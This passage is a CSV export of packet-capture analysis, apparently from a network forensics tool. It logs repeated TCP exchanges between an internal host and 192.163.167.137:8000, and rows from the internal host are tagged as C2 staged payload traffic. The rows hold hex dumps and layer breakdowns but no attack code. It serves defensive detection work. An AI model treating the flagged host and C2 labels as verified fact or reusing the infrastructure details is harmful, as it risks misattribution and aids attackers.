\"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:59.803587,492,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=3789025842 Ack=2738405698,bc24112907bbbc2411360d0c08004500003db088400080063f620a98980bc0a3a789fa541f40e1d7f232a338c14250182014cd1600001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45192, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16226, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025842, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 52502, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:08:59.803618,493,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000284c5f40004006e3a0c0a3a7890a98980b1f40fa54a338c142e1d7f2475010003f0aeb0000,\".$.6\n..$.)....E..(L_@.@.......\n....@.T.8.B...GP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19551, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58272, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:00.817196,494,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b089400080063f750a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45193, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16245, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:00.817202,495,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6040004006e393c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4L`@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19552, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58259, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:01.832904,496,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b08a400080063f740a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45194, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16244, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:01.832926,497,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6140004006e392c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4La@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19553, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58258, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:02.848525,498,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b08b400080063f730a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45195, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16243, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:02.848557,499,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6240004006e391c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lb@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19554, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58257, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:03.864187,500,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b08c400080063f720a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45196, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16242, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:03.864219,501,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6340004006e390c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lc@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19555, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58256, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:04.879824,502,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b08d400080063f710a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45197, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16241, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:04.879858,503,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6440004006e38fc0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Ld@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19556, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58255, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:05.895431,504,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b08e400080063f700a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45198, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16240, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:05.895446,505,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6540004006e38ec0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Le@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19557, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58254, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:06.911109,506,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b08f400080063f6f0a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45199, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16239, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:06.911128,507,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6640004006e38dc0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lf@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19558, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58253, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:07.926795,508,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b090400080063f6e0a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45200, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16238, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 